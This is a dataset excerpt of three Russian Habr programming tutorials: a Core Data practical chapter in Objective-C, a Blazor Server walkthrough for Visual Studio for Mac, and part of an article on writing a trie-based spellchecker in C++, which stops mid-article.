text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Core Data для iOS. Глава №2. Практическая часть
Хабралюди, добрый день!
Сегодня хочу начать написание ряда лекций с практическими заданиями по книге Михаеля Привата и Роберта Варнера «Pro Core Data for iOS», которую можете купить по [этой](http://www.apress.com/9781430236566) ссылке. Каждая глава будет содержать теоретическую и практическую часть.
Содержание:
* [Глава №1. Приступаем](http://habrahabr.ru/post/191334/) ([Практическая часть](http://habrahabr.ru/post/191472/))
* [Глава №2. Усваиваем Core Data](http://habrahabr.ru/post/191580/) ([Практическая часть](http://habrahabr.ru/post/192090/))
* Глава №3. Хранение данных: SQLite и другие варианты
* Глава №4. Создание модели данных
* Глава №5. Работаем с объектами данных
* Глава №6. Обработка результатирующих множеств
* Глава №7. Настройка производительности и используемой памяти
* Глава №8. Управление версиями и миграции
* Глава №9. Управление таблицами с использованием NSFetchedResultsController
* Глава №10. Использование Core Data в продвинутых приложениях
##### Вступление
Будем мы создавать вот такую модель:
Затем добавим несколько записей и запросим их. Вывод будет производиться в консоль, чтобы мы не задавались еще и вопросами визуальными.
Готовы? Тогда поехали!
##### Описание
Будем создавать объектный граф нашего любимого ресурса — Хабра.
Есть N основных объектов:
* Запись в блоге
* Пользователь
* Теги
* Хабы
* Вопросы
* Ответы
* Учетная запись компании
Этого будет достаточно.
Какие данные содержит каждый из объектов?
* Запись в блоге — заголовок, текст
* Пользователь — ник, карма, рейтинг, пол, аватар, почтовый ящик
* Тег — наименование
* Хаб — наименование, профильный ли хаб
* Вопрос — заголовок, текст
* Ответ — текст
* Учетная запись компании — наименование организации, рейтинг
##### Приступаем к работе
Открываем XCode и создаём новый проект Single View Application:
Вводим наименование проекта, префиксы и прочее:
Знакомое окно:
##### Добавляем Core Data
Добавляем Core Data Framework в проект:
##### Создаем модели
Добавить новый файл -> iOS -> CoreData -> Data Model
Начнём с записи в блоге.
Создаем новую сущность и называем её **Blogpost**, добавляем два атрибута *caption* (String) и *text* (String).
Создаем новую сущность и называем её **User**, добавляем атрибуты *avatar* (String), *email* (String), *gender* (Decimal), *karma* (Integer 16), *nickname* (String), *rating* (Integer 16).
Создаем новую сущность и называем её **Tag**, добавляем всего один атрибут *name* (String).
Создаем новую сущность и называем её **Hab**, добавляем два атрибута *name* (String), *target* (Boolean).
Создаем новую сущность и называем её **Question**, добавляем два атрибута *caption* (String), *text* (String).
Создаем новую сущность и называем её **Response**, добавляем один атрибут *text* (String).
Создаем новую сущность и называем её **Organization**, добавляем два атрибута *name* (String), *rating* (Integer 16).
Вот что у нас есть в итоге:
Теперь займемся установкой отношений между объектами.
У учетной записи компании есть множество пользователей (сотрудников).
У пользователя есть множество записей в блоге, у записи в блоге есть множество тегов и хабов.
У пользователя есть множество вопросов, а у вопроса множество ответов.
Начнем с построение связи «учетная запись компании» (один-ко-многим) «пользователи».
Выбираем из списка сущностей **Organization** и добавляем новую связь нажав на "+" в разделе Relationships:
Так как по умолчанию XCode создаёт связь один-к-одному мы должны изменить тип связи:
Теперь у каждой организации есть множество пользователей. Поле *Inverse* (обратная связь) мы сейчас тоже установим, но предварительно добавим новую связь в сущность Пользователя и назовем её *organization* (организация в которой работает пользователь, а если он не работает нигде, то поле будет null):
Теперь вновь откроем редактирование сущности **Organization** и установим поле *Inverse* в *organization*:
Вот как стал выглядеть теперь объектный граф:
Попробуйте расставить остальные связи сами, а затем сверьте с тем, что у меня получилось.
Вы знаете как создать связь, вы знаете как изменить тип связи с один-к-одному на один-ко-многим — этого будет достаточно.
Итоговая картина:
##### Создаем организацию
Уже имеем в AppDelegate.h такое:
```
//
// TMAppDelegate.h
// Habrahabr
//
// Created by AndrewShmig on 8/31/13.
// Copyright (c) 2013 TM. All rights reserved.
//
#import
#import
@class TMViewController;
@interface TMAppDelegate : UIResponder
@property (strong, nonatomic) UIWindow \*window;
@property (strong, nonatomic) TMViewController \*viewController;
@property (nonatomic, strong) NSManagedObjectModel \*managedObjectModel;
@property (nonatomic, strong) NSPersistentStoreCoordinator \*persistentStoreCoordinator;
@property (nonatomic, strong) NSManagedObjectContext \*managedObjectContext;
@end
```
И в AppDelegate.m:
```
//
// TMAppDelegate.m
// Habrahabr
//
// Created by AndrewShmig on 8/31/13.
// Copyright (c) 2013 TM. All rights reserved.
//
#import "TMAppDelegate.h"
@implementation TMAppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
return YES;
}
#pragma mark - Core Data Stack
- (NSManagedObjectModel *)managedObjectModel
{
if(nil != _managedObjectModel)
return _managedObjectModel;
_managedObjectModel = [NSManagedObjectModel mergedModelFromBundles:nil];
return _managedObjectModel;
}
- (NSPersistentStoreCoordinator *)persistentStoreCoordinator
{
if(nil != _persistentStoreCoordinator)
return _persistentStoreCoordinator;
NSURL *storeURL = [[[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask] lastObject] URLByAppendingPathComponent:@"Habrahabr.sqlite"];
NSError *error = nil;
_persistentStoreCoordinator = [[NSPersistentStoreCoordinator alloc] initWithManagedObjectModel:self.managedObjectModel];
if(![_persistentStoreCoordinator addPersistentStoreWithType:NSSQLiteStoreType configuration:nil URL:storeURL options:nil error:&error]){
NSLog(@"Unresolved error %@, %@", error, [error userInfo]);
abort();
}
return _persistentStoreCoordinator;
}
- (NSManagedObjectContext *)managedObjectContext
{
if(nil != _managedObjectContext)
return _managedObjectContext;
NSPersistentStoreCoordinator *store = self.persistentStoreCoordinator;
if(nil != store){
_managedObjectContext = [[NSManagedObjectContext alloc] init];
[_managedObjectContext setPersistentStoreCoordinator:store];
}
return _managedObjectContext;
}
@end
```
Перепишем метод application:didFinishLaunchingWithOptions: таким образом:
```
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
// Создаем организацию
NSManagedObject *yandex = [NSEntityDescription insertNewObjectForEntityForName:@"Organization"
inManagedObjectContext:self.managedObjectContext];
[yandex setValue:@"Yandex Inc." forKey:@"name"];
[yandex setValue:@672 forKey:@"rating"];
// создаем сотрудников Yandex
NSManagedObject *pupkin = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:self.managedObjectContext];
[pupkin setValue:@"VaseaPup" forKey:@"nickname"];
[pupkin setValue:@"vasilisa@yandex.ru" forKey:@"email"];
[pupkin setValue:@1 forKey:@"gender"]; // 0 - unknown, 1 - male, 2 - female
[pupkin setValue:@0 forKey:@"karma"];
[pupkin setValue:@0 forKey:@"rating"];
NSManagedObject *gosha = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:self.managedObjectContext];
[gosha setValue:@"Goshka" forKey:@"nickname"];
[gosha setValue:@"gosha.k@yandex.ru" forKey:@"email"];
[gosha setValue:@0 forKey:@"gender"];
[gosha setValue:@0 forKey:@"karma"];
[gosha setValue:@0 forKey:@"rating"];
// связываем сотрудников с компанией
NSMutableSet *employees = [yandex mutableSetValueForKey:@"employees"];
[employees addObject:pupkin];
[employees addObject:gosha];
// сохраняем данные в хранилище
[self saveContext];
NSLog(@"Finish!");
return YES;
}
```
Запустим приложение. Данные должны были быть сохранены. Проверим это.
Найдем файл Habrahabr.sqlite:
Запустим терминал и проверим структуру БД:
```
AndrewShmigs-MacBook-Pro:~ new$ cd "/Users/new/Library/Application Support/iPhone Simulator/6.1/Applications/95B0716A-9C2C-4BD8-8117-62FB46BB5879"
AndrewShmigs-MacBook-Pro:95B0716A-9C2C-4BD8-8117-62FB46BB5879 new$ ls
Documents Habrahabr.app Library tmp
AndrewShmigs-MacBook-Pro:95B0716A-9C2C-4BD8-8117-62FB46BB5879 new$ cd Documents/
AndrewShmigs-MacBook-Pro:Documents new$ ls
Habrahabr.sqlite
AndrewShmigs-MacBook-Pro:Documents new$ sqlite3 Habrahabr.sqlite
SQLite version 3.7.12 2012-04-03 19:43:07
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .schema
CREATE TABLE ZBLOGPOST ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZAUTHOR INTEGER, ZCAPTION VARCHAR, ZTEXT VARCHAR );
CREATE TABLE ZHAB ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZTARGET INTEGER, ZBLOGPOSTS INTEGER, ZNAME VARCHAR );
CREATE TABLE ZORGANIZATION ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZRATING INTEGER, ZNAME VARCHAR );
CREATE TABLE ZQUESTION ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZAUTHOR INTEGER, ZCAPTION VARCHAR, ZTEXT VARCHAR );
CREATE TABLE ZRESPONSE ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZQUESTION INTEGER, ZTEXT VARCHAR );
CREATE TABLE ZTAG ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZBLOGPOST INTEGER, ZNAME VARCHAR );
CREATE TABLE ZUSER ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZKARMA INTEGER, ZRATING INTEGER, ZORGANIZATION INTEGER, ZGENDER DECIMAL, ZAVATAR VARCHAR, ZEMAIL VARCHAR, ZNICKNAME VARCHAR );
CREATE TABLE Z_METADATA (Z_VERSION INTEGER PRIMARY KEY, Z_UUID VARCHAR(255), Z_PLIST BLOB);
CREATE TABLE Z_PRIMARYKEY (Z_ENT INTEGER PRIMARY KEY, Z_NAME VARCHAR, Z_SUPER INTEGER, Z_MAX INTEGER);
CREATE INDEX ZBLOGPOST_ZAUTHOR_INDEX ON ZBLOGPOST (ZAUTHOR);
CREATE INDEX ZHAB_ZBLOGPOSTS_INDEX ON ZHAB (ZBLOGPOSTS);
CREATE INDEX ZQUESTION_ZAUTHOR_INDEX ON ZQUESTION (ZAUTHOR);
CREATE INDEX ZRESPONSE_ZQUESTION_INDEX ON ZRESPONSE (ZQUESTION);
CREATE INDEX ZTAG_ZBLOGPOST_INDEX ON ZTAG (ZBLOGPOST);
CREATE INDEX ZUSER_ZORGANIZATION_INDEX ON ZUSER (ZORGANIZATION);
sqlite> select * from ZORGANIZATION;
1|3|1|672|Yandex Inc.
sqlite> select * from ZUSER;
1|7|1|0|0|1|0||gosha.k@yandex.ru|Goshka
2|7|1|0|0|1|1||vasilisa@yandex.ru|VaseaPup
sqlite>
```
Добавим теперь одному из сотрудников вопрос и создадим какой-то пост.
```
// добавляем сотруднику Гоше вопрос
NSManagedObject *whoAmI = [NSEntityDescription insertNewObjectForEntityForName:@"Question"
inManagedObjectContext:self.managedObjectContext];
[whoAmI setValue:@"Who am I?" forKey:@"caption"];
[whoAmI setValue:@"Помогите мне узнать себя лучше." forKey:@"text"];
NSMutableSet *goshasQuestions = [gosha mutableSetValueForKey:@"questions"];
[goshasQuestions addObject:whoAmI];
```
Запустим приложение и проверим БД:
```
sqlite> select * from ZQUESTION;
1|4|1|4|Who am I?|Помогите мне узнать себя лучше.
sqlite>
```
Добавим блогпост сотруднику Васе Пупкину:
```
// добавляем сотруднику Васе Пупкину новый блогпост
NSManagedObject *newPost = [NSEntityDescription insertNewObjectForEntityForName:@"Blogpost"
inManagedObjectContext:self.managedObjectContext];
[newPost setValue:@"yandex.Деньги & yandex.Карты & yandex.ДваСтвола" forKey:@"caption"];
[newPost setValue:@"Some text" forKey:@"text"];
// добавляем два Хаба
NSManagedObject *hab1 = [NSEntityDescription insertNewObjectForEntityForName:@"Hab"
inManagedObjectContext:self.managedObjectContext];
[hab1 setValue:@"iOS" forKey:@"name"];
[hab1 setValue:@YES forKey:@"target"];
NSManagedObject *hab2 = [NSEntityDescription insertNewObjectForEntityForName:@"Hab"
inManagedObjectContext:self.managedObjectContext];
[hab2 setValue:@"Objective-C" forKey:@"name"];
[hab2 setValue:@YES forKey:@"target"];
NSMutableSet *habs = [newPost mutableSetValueForKey:@"habs"];
[habs addObject:hab1];
[habs addObject:hab2];
[[pupkin mutableSetValueForKey:@"blogposts"] addObject:newPost];
```
И вывод:
```
sqlite> select * from ZBLOGPOST;
1|1|1|5|yandex.Деньги & yandex.Карты & yandex.ДваСтвола|Some text
sqlite> select * from ZHAB;
1|2|1|1|1|iOS
2|2|1|1|1|Objective-C
sqlite>
```
##### Вывод данных
Выведем всех сотрудников и наименования компаний в которых они работают. Код для чтения данных будем писать в том же методе в котором писали и запись данных.
```
NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] initWithEntityName:@"User"];
NSArray *allUsers = [self.managedObjectContext executeFetchRequest:fetchRequest error:nil];
for(NSManagedObject *user in allUsers){
NSString *nickname = [user valueForKey:@"nickname"];
NSString *organization = [user valueForKeyPath:@"organization.name"];
NSLog(@"%@ works at %@", nickname, organization);
}
```
Получим примерно такой вывод (приложение у меня запускалось несколько раз и данные тоже несколько раз были добавлены):
```
2013-08-31 13:00:27.255 Habrahabr[18148:c07] Goshka works at Yandex Inc.
2013-08-31 13:00:27.257 Habrahabr[18148:c07] VaseaPup works at Yandex Inc.
2013-08-31 13:00:27.258 Habrahabr[18148:c07] VaseaPup works at Yandex Inc.
2013-08-31 13:00:27.258 Habrahabr[18148:c07] Goshka works at Yandex Inc.
2013-08-31 13:00:27.259 Habrahabr[18148:c07] VaseaPup works at Yandex Inc.
2013-08-31 13:00:27.259 Habrahabr[18148:c07] Goshka works at Yandex Inc.
2013-08-31 13:00:27.260 Habrahabr[18148:c07] Finish!
```
Обратите внимание на то, как мы получили наименование организации в которой работает пользователь. Как Вам? А? Я так и думал, что понравится!
##### В завершение
Экспериментируйте! Не бойтесь, если что-то сломается, полный проект находится по [этой](http://yadi.sk/d/skokMRSh8Wzg0) ссылке.
Удачи и благодарю за внимание!
Надеюсь вам понравилась практическая часть. | https://habr.com/ru/post/192090/ | null | ru | null |
# Начало работы с серверными приложениями Blazor в Visual Studio for Mac
В Visual Studio 2019 for Mac [v8.4](https://devblogs.microsoft.com/visualstudio/visual-studio-2019-for-mac-version-8-4-is-now-available/) мы добавили поддержку разработки [серверных приложений Blazor](https://docs.microsoft.com/en-us/aspnet/core/blazor/?view=aspnetcore-3.1). В этой статье я покажу вам, как начать создавать новые серверные приложения Blazor с помощью Visual Studio for Mac. Blazor позволяет создавать интерактивные веб-интерфейсы с использованием C# вместо JavaScript. Приложения Blazor состоят из повторно используемых компонентов веб-интерфейса, реализованных с использованием C#, HTML и CSS. Код клиента и сервера написан на C#, что позволяет вам делиться кодом и библиотеками.
Создание нового проекта Blazor
------------------------------
При первом запуске Visual Studio for Mac вы увидите следующее диалоговое окно:
Для создания нового серверного приложения Blazor нажмите «New» либо воспользуйтесь меню «File», выбрав «New Solution», как показано ниже.
Как только вы это сделаете, откроется диалоговое окно New Project. Чтобы создать серверное приложение Blazor, перейдите в раздел *.NET Core -> App*, а затем выберите *Blazor Server App*:
После нажатия «Next» будет предложено выбрать версию .NET Core. Вы можете выбрать версию по умолчанию, .NET Core 3.1 на момент публикации, или изменить ее на другую. Для приложений Blazor требуется .NET Core версии 3.0 или новее. После того, как вы нажмете «Next», вы перейдете на следующую страницу мастера настройки, где сможете дать имя своему новому проекту. Я назвал этот новый проект HelloBlazor.
Теперь, когда мы настроили наш новый проект, мы можем завершить создание, нажав «Create» (или же вернуться назад). После создания проекта он будет открыт в IDE. Я открыл файл Index.razor в редакторе Visual Studio for Mac, который вы можете увидеть на скриншоте ниже.
Теперь, когда проект создан, первое, что мы должны сделать, это запустить приложение, чтобы убедиться, что все работает, как положено. Вы можете запустить новое приложение Blazor с помощью *Run > Start Debugging or Run > Start without Debugging*.
В этом случае давайте перейдем к «Start without Debugging», потому что он запускается быстрее, чем сеанс отладки, да и в настоящее время мы не собираемся выполнять какую-либо отладку. Для запуска без отладки можно воспользоваться одноименным пунктом меню (как показано на рисунке выше) или сочетанием клавиш ⌥⌘⏎. Когда вы запустите приложение, оно будет открыто в браузере по умолчанию. Вы можете изменить запущенный браузер, используя селектор браузера на панели инструментов, показанной на следующем рисунке.
Давайте запустим это приложение, воспользовавшись [горячими клавишами](https://docs.microsoft.com/en-us/visualstudio/mac/keyboard-shortcuts?view=vsmac-2019) для «Start without Debugging». После того, как будет произведена сборка проекта, приложение будет открыто в браузере.
Теперь, когда наш проект запущен и работает, предлагаю немного повеселиться с его настройками.
В созданном проекте есть страница Counter, которая позволяет нажать кнопку для увеличения счета счетчика. Давайте изменим эту страницу, позволив пользователю указать значение инкремента. Мы можем сделать это, добавив поле ввода на страницу Counter и связав его с новым свойством increment, которое используется для инкремента счета. Взгляните на обновленный код Counter.razor на следующем скриншоте.
Если вы хотите скопировать и вставить данный код в свой проект, то ниже приведен фрагмент кода.
```
@page "/counter"
Counter
=======
Current count: @currentCount
Click me
@code {
public int increment = 1;
private int currentCount = 0;
private void IncrementCount()
{
currentCount += increment;
}
}
```
На скриншоте кода, представленном выше, строки, отмеченные стрелкой, являются новыми или отредактированными строками кода. Здесь мы добавили новое поле ввода (строка 5) для пользователей, чтобы настроить инкремент, мы добавили свойство increment (строка 11) для хранения значения инкремента и, наконец, мы изменили строку 16, чтобы использовать значение инкремента вместо жестко установленного увеличения на 1.
Чтобы убедиться, что внесенные изменения работают должным образом, мы начнем сеанс отладки. Давайте установим точку останова при увеличении *currentCount*, строка 16. После установки этой точки останова мы начнем отладку с помощью сочетания клавиш ⌘⏎. Когда достигается точка останова, мы можем проверить, что значение для инкремента берется из поля ввода на странице Counter. На GIF ниже можно увидеть: создание точки останова, отладка приложения и проверка значения на приращение при достижении точки останова.
Если все идет хорошо, значит значение инкремента было взято из поля ввода на странице Counter, и приложение работает правильно. Теперь, когда мы показали, как вы можете создавать, редактировать и отлаживать серверное приложение Blazor, пришло время завершить эту статью.
В заключение
------------
В этой статье мы разобрались, как создать новое серверное приложение Blazor и работать с ним в Visual Studio for Mac. Если у вас еще нет Visual Studio for Mac, то [загрузите его](https://visualstudio.microsoft.com/vs/mac/), чтобы начать работу. Если вы являетесь пользователем Visual Studio for Mac, [обновите Visual Studio for Mac](https://docs.microsoft.com/en-us/visualstudio/mac/update?view=vsmac-2019) до версии 8.4 или более поздней, чтобы получить поддержку серверных приложений Blazor. Помимо разработки серверных приложений Blazor вы также можете [публиковать их в Azure App Services](https://docs.microsoft.com/en-us/visualstudio/mac/blazor?view=vsmac-2019#publishing-blazor-applications-to-azure-app-service).
Если у вас возникли какие-либо проблемы во время работы в Visual Studio for Mac, пожалуйста, сообщите нам о них, воспользовавшись функцией [Report a Problem](https://docs.microsoft.com/en-us/visualstudio/mac/report-a-problem?view=vsmac-2019), чтобы мы могли исправить их и, тем самым, улучшить продукт. Прежде чем я закончу, вот несколько дополнительных ресурсов для вас.
#### Дополнительные ресурсы
Чтобы узнать больше об изменениях в Visual Studio 2019 for Mac v8.4, ознакомьтесь с [данной статьей](https://devblogs.microsoft.com/visualstudio/visual-studio-2019-for-mac-version-8-4-is-now-available/).
Присоединяйтесь к нам 24 февраля на нашем предстоящем мероприятии [Visual Studio for Mac: Refresh()](https://devblogs.microsoft.com/visualstudio/announcing-visual-studio-for-mac-refresh-event-on-february-24/) для участия в сессиях глубокого погружения в разработку .NET с использованием Visual Studio for Mac, включая полный сеанс по разработке приложений Blazor.
Для получения дополнительной информации о Blazor хорошей отправной точкой является [Introduction to ASP.NET Core Blazor](https://docs.microsoft.com/en-us/aspnet/core/blazor/?view=aspnetcore-3.1).
Еще одним хорошим руководством по созданию серверного приложения Blazor в Visual Studio for Mac является документация [Create Blazor web apps](https://docs.microsoft.com/en-us/visualstudio/mac/blazor?view=vsmac-2019).
И обязательно подпишитесь на нас в Twitter ([@VisualStudioMac](https://twitter.com/VisualStudioMac)). Ваши отзывы и мысли важны для нас. Кроме того, вы можете обратиться в [Visual Studio Developer Community](https://developercommunity.visualstudio.com/spaces/41/index.html), чтобы решать ваши проблемы, [предлагать функции](https://developercommunity.visualstudio.com/content/idea/post.html?space=41), задавать вопросы и находить ответы. Помните: мы используем ваши отзывы для дальнейшего улучшения Visual Studio 2019 for Mac, поэтому еще раз благодарим вас от имени всей нашей команды. | https://habr.com/ru/post/485572/ | null | ru | null |
# Обработка и классификация запросов. Часть третья: Исправление опечаток
Опечатки бывают иногда полезны тем, что веселят читателя. Поисковые системы оценить юмора пока не в состоянии, и слова, набранные с ошибками, приводят их в замешательство, что в результате огорчает пользователя. Для предотвращения этих явлений существуют автоматические «исправляторы» опечаток, они же спеллчекеры.
О различных подходах к исправлению опечаток написано уже более чем достаточно, поэтому в этой статье я не буду повторять уже известное, а покажу, как написать спеллчекер с нуля — простой, но вполне дееспособный. Всё, что для этого нужно — это список правильных слов и немного С++.
Список слов я взял [здесь](http://www.dictionnaire.narod.ru/reverse.zip), но подойдёт и любой другой словарь. Хранить его будем в префиксном дереве (оно же Trie). Вот его несколько [экзотическая](https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern), не вполне [оптимальная](http://en.wikipedia.org/wiki/Radix_tree), довольно [опасная](http://stackoverflow.com/questions/6806173/why-should-not-i-subclass-inherit-standard-containers), но, пожалуй, самая [лаконичная](http://en.wikipedia.org/wiki/KISS_principle) реализация:
```
struct trie_t: map
{
}
```
Структура `trie_t` наследует все методы `map`. В ключах у этой `map` записываются буквы слов, а значениями являются снова структуры `trie_t`, которые наследуют… ну и так далее. Несколько медитативно, но для прототипа сойдёт.
Добавим в структуру вес узла, он пригодится в дальнейшем:
```
struct trie_t: map< char, trie_t >
{
size_t w;
trie_t() : w(0) {}
}
```
Записывать слова в дерево будем с помощью такой функции:
```
trie_t & add( trie_t & t, const string & s )
{
t.w++;
return !s.empty() ? add( t[ s[0] ], s.substr(1) )
: t['$'];
}
```
Работает она так: берём первый символ слова, записываем в ключ мапы, получаем ссылку на соответствующее поддерево (при необходимости оно тут же и создаётся). Рекурсивно записываем остаток строки в это поддерево. Когда строка исчерпана, добавляем к последнему узлу «знак остановки» — ключ '`$`' с пустым поддеревом.
Прочитав слова из заданного файла, занесем их все в словарь:
```
trie_t glossary;
ifstream fi( argv[1] );
string word;
while( getline( fi, word ) )
add( glossary, word );
```
В результате в поле `w` каждого узла дерева будет записано количество слов, прошедших через этот узел.
Что со всем этим можно делать? Можно распечатать содержимое дерева, перебирая унаследованным итератором ключи и поддеревья каждого узла:
```
void print( const trie_t & t, const string & prefix = "" )
{
for( map::const\_iterator
it = t.begin(); it != t.end(); ++it )
if ( it->first == '$' )
cout << prefix << endl;
else
print( it->second, prefix + it->first );
}
```
Можно определить наличие или отсутствие заданного слова в дереве:
```
bool is_known( trie_t & t, const string & s )
{
return !s.empty() ? is_known( t[ s[0] ], s.substr(1) )
: t.find('$') != t.end();
}
```
В этой функции, хотя работает она и верно, краткости ради допущена ошибка. Исправлять её я не буду, так как такой «чёткий» поиск нам больше всё равно не пригодится.
#### Нечёткий поиск
Если представить дерево как некую многократно разветвляющуюся дорогу, то функция поиска слова — путник, идущий по этой дороге. Путнику дан маршрут (искомое слово), и в соответствии с ним он переходит от узла к узлу, зачеркивая пройденные буквы маршрута. Если буквы кончились, остаётся проверить, виден ли «знак остановки».
Теперь представим, что путник как бы одновременно отправляется во все стороны сразу. Каждый из его клонов на каждой развилке ведёт себя точно так же, и так до тех пор, пока в каждую из конечных остановок (то есть листьев дерева) кто-нибудь не придёт. Общее количество путников окажется равным количеству слов, записанных в дерево, и каждый из них пройдёт по своей индивидуальной траектории.
Пусть всем им изначально было задано одно и то же слово-маршрут. При каждом переходе каждый путник, как и раньше, зачеркивает по одной букве в своей копии маршрута. Но если реальное направление перехода не совпадает с зачёркнутой буквой, путник получает штраф. В результате в конце пути у каждого будет накоплена некоторая задолженность. Выстроим всех в ряд, отсортировав по возрастанию этой величины.
Если искомое слово присутствует в словаре, то один путник пройдёт весь путь без штрафов – в отсортированном списке он будет первым. Если слово в словаре отсутствует, то лидировать будет тот, кто прошёл путь с минимальным количеством нарушений.
Собственно, это почти весь алгоритм. Фокус в том, что путь, пройденный лидером, будет ближайшим исправлением заданного слова (или самим этим словом, если опечаток нет), а количество нарушений (отклонений от заданного маршрута) — количеством опечаток.
#### На старт
Правильнее, конечно, называть дорогу деревом, развилки — узлами, путников — гипотезами, а отклонения от маршрута — операциями редактирования. Но пусть остаются как есть, так как-то поживее. Введём структуру, хранящую все сведения о путнике:
```
struct rambler_t
{
string todo;
string done;
size_t cost;
const trie_t * road;
rambler_t( const string & t, const string & d,
const size_t c, const trie_t * r )
: todo( t ), done( d ), cost( c ), road( r ) {}
};
```
В полях хранится следующее:
* `todo` — путь, который предстоит пройти. Вначале это тот самый маршрут путешествия, то есть исправляемое слово. В конце там остаётся пустая строка.
* `done` — пройденная часть пути. Вначале — пустая строка, в конце — перечень пройденных узлов, то есть исправленное слово.
* `cost` — сумма наложенных штрафов. На старте — ноль, на финише — как получится.
* `road` — местоположение путника. В начале — корень дерева, в конце — один из листьев.
Итак, путник стоит в исходной точке, можно отправляться:
```
rambler_t R( word, "", 0, &glossary );
```
#### Первый шаг
Все возможные направления можно перебрать с помощью итератора, уже пригодившегося при распечатке словаря:
```
for( map::const\_iterator
it = R.road->begin(); it != R.road->end(); ++it )
{
char dest = it->first; // направление движения
const trie\_t \* road = it->second; // следующее распутье
// Место для шага вперёд
}
```
После совершения шага значения полей структуры изменятся следующим образом:
```
R.done = R.done + dest;
R.todo = R.todo.substr(1);
R.road = R.road[ dest ];
```
С оплатой за проезд возможны два варианта. Если выбранное направление совпадает с «генеральной линией», то переход бесплатен, иначе +1:
```
R.cost = R.cost + ( dest == todo[0] ? 0 : 1 );
```
Ок, первый шаг сделан. Правильнее сказать, сразу множество первых шагов — вместо одинокого странника появилась целая команда:
```
typedef vector team\_t;
```
Осталось лишь повторять шаг за шагом, увеличивая коллектив до тех пор, пока каждый не достигнет своего пункта назначе… Стоп. Есть нюанс, и не один.
Описанный выше «поворот не туда», соответствующий замене буквы слова на другую букву — лишь одна из разновидностей опечаток. Существуют ещё как минимум две: удаление и вставка.
#### Удаление
Это ситуация «заплатил, но не поехал»: вычёркиваем первую букву из `todo`, самооштрафовываемся, но перехода не совершаем и ничего не добавляем в `done`.
```
R.done = R.done;
R.todo = R.todo.substr(1);
R.road = R.road;
R.cost = R.cost + 1;
```
В результате буква из `todo` просто теряется по пути, что равносильно её удалению.
#### Вставка
Тут, наоборот, «бег на месте»: перемещаемся вглубь дерева, добавляем букву в `done`, но не вычёркиваем ничего из `todo`.
```
R.done = R.done + dest;
R.todo = R.todo;
R.road = R.road[ dest ];
R.cost = R.cost + 1;
```
Пройденная буква в `done` возникает вне плана, из ниоткуда, что равносильно её вставке.
#### Отцы и дети
Поскольку на каждом шаге имеет место некоторое ~~распараллеливание миров~~ увеличение численности объектов, будем не модифицировать параметры путника, а создавать новых по его образу и подобию. Следующая функция всё объединяет: получает на вход путника, заполняя на выходе два вектора путников в соответствии с заданным маршрутом, ключами узла дерева и описанными выше правилами.
В вектор `team` попадают те, кто ещё будет продолжать движение, а в `finished` — дошедшие до конца, то есть те, у кого `todo` опустошён, а текущий узел дерева содержит ~~баксы~~ отметку конца слова.
```
void step_forward( const rambler_t & R, team_t & team, team_t & finished )
{
char next = R.todo[0]; // План
const string & todo = next ? R.todo.substr(1) : "";
for( map::const\_iterator
it = R.road->begin(); it != R.road->end(); ++it )
{
const trie\_t \* road = &it->second; // Поддерево
char dest = it->first; // Ключ
if ( next == dest )
team.push\_back( rambler\_t( todo, // Всё по плану
R.done + dest,
R.cost,
road ));
else {
team.push\_back( rambler\_t( todo, // Замена
R.done + dest,
R.cost + 1,
road ));
team.push\_back( rambler\_t( R.todo, // Вставка
R.done + dest,
R.cost + 1,
road ));
if ( !next && dest == '$' )
finished.push\_back( R ); // Приехали!
}
}
if ( next )
team.push\_back( rambler\_t( todo, // Удаление
R.done,
R.cost + 1,
R.road ));
}
```
#### Естественный отбор
И второй нюанс: лавинообразно порождая на каждом шагу новых и новых участников процесса, мы поступаем нерационально. Праздно шатающиеся по дереву толпы плохо управляемы, в большинстве своём бесполезны и только попусту жрут ресурсы. Введём ограничения и устроим им соревнование — пусть побегают.
Во-первых, назначим максимально допустимую сумму штрафов, и будем выкидывать всех, кто её превысил, слишком сильно отклонившись от заданного пути.
Во-вторых, будем сбрасывать с дистанции всех отстающих. Правда, возникает риск, что среди изгнанных аутсайдеров кто-то мог бы спринтерским рывком настигнуть лидеров в самом конце забега, но ради оптимизации придётся смириться.
Чтобы выявить отстающих, прикинем шансы каждого на успех, то есть на то, что остаток пути будет пройден без дисквалификации за превышение максимальной суммы. Шанс будем прикидывать так:
```
double ramb_chances( const rambler_t & a )
{
return log( ( a.road->w + 1 ) *
( a.done.size() + 1 ) ) / ( 1 << a.cost );
}
```
Зачем тут логарифм? Что за битовые сдвиги? Почему функция именно такая? Можно попробовать объяснить. Очевидно, что чем больше сумма уже полученных штрафов, тем меньше вероятность дойти до конца. И чем больше слов в поддереве, тем выше вероятность найти среди них хотя бы одно подходящее. А длина уже пройденного пути как бы свидетельствует о «выносливости».
Нужно признать, последнее совсем уж жестоко притянуто за уши. Но в любой эвристике главное — чтоб работала. Эта работает. И, так или иначе, мы близимся к завершению. Обозначим максимальную сумму штрафов как `max_cost`, максимальный размер команды как `team_size`.
Поставим первопроходца в начале всех дорог:
```
team_t walkers, leads;
walkers.push_back( rambler_t( word, "", 0, &glossary ) );
```
Делаем шаг, генерируя следующее «поколение»:
```
team_t next_g;
for( size_t i = 0; i < walkers.size(); ++i )
step_forward( walkers[i], next_g, leads );
```
